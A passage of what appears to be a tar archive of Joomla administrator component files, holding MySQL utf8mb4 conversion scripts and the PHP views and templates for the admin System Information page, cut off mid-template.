ALTER TABLE `#__redirect_links` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__schemas` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__session` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__tags` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__template_styles` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__ucm_base` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__ucm_content` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__ucm_history` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__updates` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__update_sites` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__update_sites_extensions` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__usergroups` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__users` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_keys` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_notes` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_profiles` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_usergroup_map` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__utf8_conversion` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__viewlevels` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

--
-- Step 2.3: Set collation to utf8mb4_bin for formerly utf8_bin collated columns
-- and for the lang_code column of the languages table
--

ALTER TABLE `#__banners` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';
ALTER TABLE `#__categories` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';
ALTER TABLE `#__contact_details` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';
ALTER TABLE `#__content` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';
ALTER TABLE `#__languages` MODIFY `lang_code` char(7) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL;
ALTER TABLE `#__menu` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT 'The SEF alias of the menu item.';
ALTER TABLE `#__newsfeeds` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';
ALTER TABLE `#__tags` MODIFY `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';
ALTER TABLE `#__ucm_content` MODIFY `core_alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '';

--
-- Step 2.4: Set default character set and collation for all tables
--

ALTER TABLE `#__assets` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__associations` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__banners` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__banner_clients` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__banner_tracks` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__categories` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__contact_details` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content_frontpage` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content_rating` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content_types` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__contentitem_tag_map` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__core_log_searches` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__extensions` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields_categories` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields_groups` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields_values` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__finder_filters` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms0` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms1` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms2` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms3` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms4` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms5` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms6` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms7` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms8` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms9` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsa` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsb` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsc` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsd` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termse` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsf` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_taxonomy` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_taxonomy_map` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_terms` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_terms_common` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_tokens` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_tokens_aggregate` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_types` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__languages` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__menu` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__menu_types` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__messages` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__messages_cfg` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__modules` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__modules_menu` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__newsfeeds` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__overrider` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__postinstall_messages` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__redirect_links` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__schemas` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__session` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__tags` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__template_styles` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__ucm_base` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__ucm_content` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__ucm_history` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__updates` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__update_sites` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__update_sites_extensions` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__usergroups` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__users` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_keys` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_notes` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_profiles` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__user_usergroup_map` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__utf8_conversion` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__viewlevels` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

--
-- Step 2.5: Limit indexes to first 100 so their max allowed lengths would not get exceeded with utf8mb4
--

ALTER TABLE `#__banners` ADD KEY `idx_metakey_prefix` (`metakey_prefix`(100));
ALTER TABLE `#__banner_clients` ADD KEY `idx_metakey_prefix` (`metakey_prefix`(100));
ALTER TABLE `#__categories` ADD KEY `idx_path` (`path`(100));
ALTER TABLE `#__categories` ADD KEY `idx_alias` (`alias`(100));
ALTER TABLE `#__content` ADD KEY `idx_alias` (`alias`(191));
ALTER TABLE `#__content_types` ADD KEY `idx_alias` (`type_alias`(100));
ALTER TABLE `#__fields` ADD KEY `idx_context` (`context`(191));
ALTER TABLE `#__fields_groups` ADD KEY `idx_context` (`context`(191));
ALTER TABLE `#__fields_values` ADD KEY `idx_item_id` (`item_id`(191));
ALTER TABLE `#__finder_links` ADD KEY `idx_title` (`title`(100));
ALTER TABLE `#__menu` ADD KEY `idx_alias` (`alias`(100));
ALTER TABLE `#__menu` ADD UNIQUE `idx_client_id_parent_id_alias_language` (`client_id`,`parent_id`,`alias`(100),`language`);
ALTER TABLE `#__menu` ADD KEY `idx_path` (`path`(100));
ALTER TABLE `#__redirect_links` ADD KEY `idx_old_url` (`old_url`(100));
ALTER TABLE `#__tags` ADD KEY `idx_path` (`path`(100));
ALTER TABLE `#__tags` ADD KEY `idx_alias` (`alias`(100));
ALTER TABLE `#__ucm_content` ADD KEY `idx_alias` (`core_alias`(100));
ALTER TABLE `#__ucm_content` ADD KEY `idx_title` (`core_title`(100));
ALTER TABLE `#__ucm_content` ADD KEY `idx_content_type` (`core_type_alias`(100));
ALTER TABLE `#__users` ADD KEY `idx_name` (`name`(100));
com_admin/sql/others/mysql/utf8mb4-conversion-03.sql000060400000003335152455305270016367 0ustar00--
-- Step 3 of the UTF-8 Multibyte (utf8mb4) conversion for MySQL
--
-- Convert the tables for action logs and the privacy suite which have been
-- forgotten to be added to the utf8mb4 conversion before.
--
-- This file here will be processed with reporting exceptions, in opposite
-- to the file for step 1.
--

--
-- Step 3.1: Convert action logs and privacy suite tables to utf8mb4 character set with
-- utf8mb4_unicode_ci collation
-- Note: The database driver for mysql will change utf8mb4 to utf8 if utf8mb4 is not supported
--

ALTER TABLE `#__action_logs` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__action_logs_extensions` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__action_logs_users` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__action_log_config` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__privacy_consents` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__privacy_requests` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

--
-- Step 3.2: Set default character set and collation for previously converted tables
--

ALTER TABLE `#__action_logs` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__action_logs_extensions` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__action_logs_users` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__action_log_config` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__privacy_consents` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__privacy_requests` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
com_admin/sql/others/mysql/utf8mb4-conversion-01.sql000060400000002735152455305270016370 0ustar00--
-- Step 1 of the UTF-8 Multibyte (utf8mb4) conversion for MySQL
--
-- Drop indexes which will be added again in step 2, utf8mb4-conversion-02.sql.
--
-- Do not rename this file or any other of the utf8mb4-conversion-*.sql
-- files unless you want to change PHP code, too.
--
-- This file here will be processed ignoring any exceptions caused by indexes
-- to be dropped do not exist.
--
-- The file for step 2 will the be processed with reporting exceptions.
--

ALTER TABLE `#__banners` DROP KEY `idx_metakey_prefix`;
ALTER TABLE `#__banner_clients` DROP KEY `idx_metakey_prefix`;
ALTER TABLE `#__categories` DROP KEY `idx_path`;
ALTER TABLE `#__categories` DROP KEY `idx_alias`;
ALTER TABLE `#__content` DROP KEY `idx_alias`;
ALTER TABLE `#__content_types` DROP KEY `idx_alias`;
ALTER TABLE `#__fields` DROP KEY `idx_context`;
ALTER TABLE `#__fields_groups` DROP KEY `idx_context`;
ALTER TABLE `#__fields_values` DROP KEY `idx_item_id`;
ALTER TABLE `#__finder_links` DROP KEY `idx_title`;
ALTER TABLE `#__menu` DROP KEY `idx_alias`;
ALTER TABLE `#__menu` DROP KEY `idx_client_id_parent_id_alias_language`;
ALTER TABLE `#__menu` DROP KEY `idx_path`;
ALTER TABLE `#__redirect_links` DROP KEY `idx_old_url`;
ALTER TABLE `#__tags` DROP KEY `idx_path`;
ALTER TABLE `#__tags` DROP KEY `idx_alias`;
ALTER TABLE `#__ucm_content` DROP KEY `idx_alias`;
ALTER TABLE `#__ucm_content` DROP KEY `idx_title`;
ALTER TABLE `#__ucm_content` DROP KEY `idx_content_type`;
ALTER TABLE `#__users` DROP KEY `idx_name`;
com_admin/views/sysinfo/view.text.php000060400000010271152455305270013774 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Sysinfo View class for the Admin component
 *
 * @since  3.5
 */
class AdminViewSysinfo extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   3.5
	 */
	public function display($tpl = null)
	{
		// Access check.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		header('Content-Type: text/plain; charset=utf-8');
		header('Content-Description: File Transfer');
		header('Content-Disposition: attachment; filename="systeminfo-' . date('c') . '.txt"');
		header('Cache-Control: must-revalidate');

		$data = $this->getLayoutData();

		$lines = array();

		foreach ($data as $sectionName => $section)
		{
			$customRenderingMethod = 'render' . ucfirst($sectionName);

			if (method_exists($this, $customRenderingMethod))
			{
				$lines[] = $this->$customRenderingMethod($section['title'], $section['data']);
			}
			else
			{
				$lines[] = $this->renderSection($section['title'], $section['data']);
			}
		}

		echo str_replace(JPATH_ROOT, 'xxxxxx', implode("\n\n", $lines));

		JFactory::getApplication()->close();
	}

	/**
	 * Get the data for the view
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		$model = $this->getModel();

		return array(
			'info' => array(
				'title' => JText::_('COM_ADMIN_SYSTEM_INFORMATION', true),
				'data'  => $model->getSafeData('info')
			),
			'phpSettings' => array(
				'title' => JText::_('COM_ADMIN_PHP_SETTINGS', true),
				'data'  => $model->getSafeData('phpSettings')
			),
			'config' => array(
				'title' => JText::_('COM_ADMIN_CONFIGURATION_FILE', true),
				'data'  => $model->getSafeData('config')
			),
			'directories' => array(
				'title' => JText::_('COM_ADMIN_DIRECTORY_PERMISSIONS', true),
				'data'  => $model->getSafeData('directory', true)
			),
			'phpInfo' => array(
				'title' => JText::_('COM_ADMIN_PHP_INFORMATION', true),
				'data'  => $model->getSafeData('phpInfoArray')
			),
			'extensions' => array(
				'title' => JText::_('COM_ADMIN_EXTENSIONS', true),
				'data'  => $model->getSafeData('extensions')
			)
		);
	}

	/**
	 * Render a section
	 *
	 * @param   string   $sectionName  Name of the section to render
	 * @param   array    $sectionData  Data of the section to render
	 * @param   integer  $level        Depth level for indentation
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	protected function renderSection($sectionName, $sectionData, $level = 0)
	{
		$lines = array();

		$margin = ($level > 0) ? str_repeat("\t", $level) : null;

		$lines[] = $margin . '=============';
		$lines[] = $margin . $sectionName;
		$lines[] = $margin . '=============';
		$level++;

		foreach ($sectionData as $name => $value)
		{
			if (is_array($value))
			{
				if ($name == 'Directive')
				{
					continue;
				}

				$lines[] = '';
				$lines[] = $this->renderSection($name, $value, $level);
			}
			else
			{
				if (is_bool($value))
				{
					$value = $value ? 'true' : 'false';
				}

				if (is_int($name) && ($name == 0 || $name == 1))
				{
					$name = ($name == 0 ? 'Local Value' : 'Master Value');
				}

				$lines[] = $margin . $name . ': ' . $value;
			}
		}

		return implode("\n", $lines);
	}

	/**
	 * Specific rendering for directories
	 *
	 * @param   string   $sectionName  Name of the section
	 * @param   array    $sectionData  Directories information
	 * @param   integer  $level        Starting level
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	protected function renderDirectories($sectionName, $sectionData, $level = -1)
	{
		foreach ($sectionData as $directory => $data)
		{
			$sectionData[$directory] = $data['writable'] ? ' writable' : ' NOT writable';
		}

		return $this->renderSection($sectionName, $sectionData, $level);
	}
}
com_admin/views/sysinfo/view.html.php000060400000005304152455305270013755 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Sysinfo View class for the Admin component
 *
 * @since  1.6
 */
class AdminViewSysinfo extends JViewLegacy
{
	/**
	 * Some PHP settings
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $php_settings = array();

	/**
	 * Config values
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $config = array();

	/**
	 * Some system values
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $info = array();

	/**
	 * PHP info
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $php_info = null;

	/**
	 * Information about writable state of directories
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $directory = array();

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		// Access check.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$this->php_settings = $this->get('PhpSettings');
		$this->config       = $this->get('config');
		$this->info         = $this->get('info');
		$this->php_info     = $this->get('PhpInfo');
		$this->directory    = $this->get('directory');

		$this->addToolbar();
		$this->_setSubMenu();

		return parent::display($tpl);
	}

	/**
	 * Setup the SubMenu
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @note    Necessary for Hathor compatibility
	 * @deprecated  4.0 To be removed with Hathor
	 */
	protected function _setSubMenu()
	{
		try
		{
			$contents = $this->loadTemplate('navigation');
			$document = JFactory::getDocument();
			$document->setBuffer($contents, 'modules', 'submenu');
		}
		catch (Exception $e)
		{
		}
	}

	/**
	 * Setup the Toolbar
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_ADMIN_SYSTEM_INFORMATION'), 'info-2 systeminfo');
		JToolbarHelper::link(
			JRoute::_('index.php?option=com_admin&view=sysinfo&format=text&' . JSession::getFormToken() . '=1'),
			'COM_ADMIN_DOWNLOAD_SYSTEM_INFORMATION_TEXT', 'download'
		);
		JToolbarHelper::link(
			JRoute::_('index.php?option=com_admin&view=sysinfo&format=json&' . JSession::getFormToken() . '=1'),
			'COM_ADMIN_DOWNLOAD_SYSTEM_INFORMATION_JSON', 'download'
		);
		JToolbarHelper::help('JHELP_SITE_SYSTEM_INFORMATION');
	}
}
com_admin/views/sysinfo/tmpl/default.php000060400000003531152455305270014440 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Add specific helper files for html generation
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
?>

<form action="<?php echo JRoute::_('index.php?option=com_admin&view=sysinfo'); ?>" method="post" name="adminForm" id="adminForm">
	<div class="row-fluid">
		<!-- Begin Content -->
		<div class="span12">
			<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'site')); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'site', JText::_('COM_ADMIN_SYSTEM_INFORMATION')); ?>
			<?php echo $this->loadTemplate('system'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'phpsettings', JText::_('COM_ADMIN_PHP_SETTINGS')); ?>
			<?php echo $this->loadTemplate('phpsettings'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'config', JText::_('COM_ADMIN_CONFIGURATION_FILE')); ?>
			<?php echo $this->loadTemplate('config'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'directory', JText::_('COM_ADMIN_DIRECTORY_PERMISSIONS')); ?>
			<?php echo $this->loadTemplate('directory'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'phpinfo', JText::_('COM_ADMIN_PHP_INFORMATION')); ?>
			<?php echo $this->loadTemplate('phpinfo'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php echo JHtml::_('bootstrap.endTabSet'); ?>
		</div>
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
		<!-- End Content -->
	</div>
</form>
com_admin/views/sysinfo/tmpl/default.xml000060400000000314152455305270014445 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_ADMIN_SYSINFO_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_ADMIN_SYSINFO_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_admin/views/sysinfo/tmpl/default_phpsettings.php000060400000010006152455305270017063 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="adminform">
	<legend><?php echo JText::_('COM_ADMIN_RELEVANT_PHP_SETTINGS'); ?></legend>
	<table class="table table-striped">
		<thead>
			<tr>
				<th width="250">
					<?php echo JText::_('COM_ADMIN_SETTING'); ?>
				</th>
				<th>
					<?php echo JText::_('COM_ADMIN_VALUE'); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="2">&#160;
				</td>
			</tr>
		</tfoot>
		<tbody>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_SAFE_MODE'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['safe_mode']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_OPEN_BASEDIR'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.string', $this->php_settings['open_basedir']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_DISPLAY_ERRORS'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['display_errors']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_SHORT_OPEN_TAGS'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['short_open_tag']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_FILE_UPLOADS'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['file_uploads']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_MAGIC_QUOTES'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['magic_quotes_gpc']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_REGISTER_GLOBALS'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['register_globals']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_OUTPUT_BUFFERING'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.boolean', $this->php_settings['output_buffering']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_SESSION_SAVE_PATH'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.string', $this->php_settings['session.save_path']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_SESSION_AUTO_START'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.integer', $this->php_settings['session.auto_start']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_XML_ENABLED'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.set', $this->php_settings['xml']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_ZLIB_ENABLED'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.set', $this->php_settings['zlib']); ?>
				</td>
			</tr>
			<tr>
				<td>
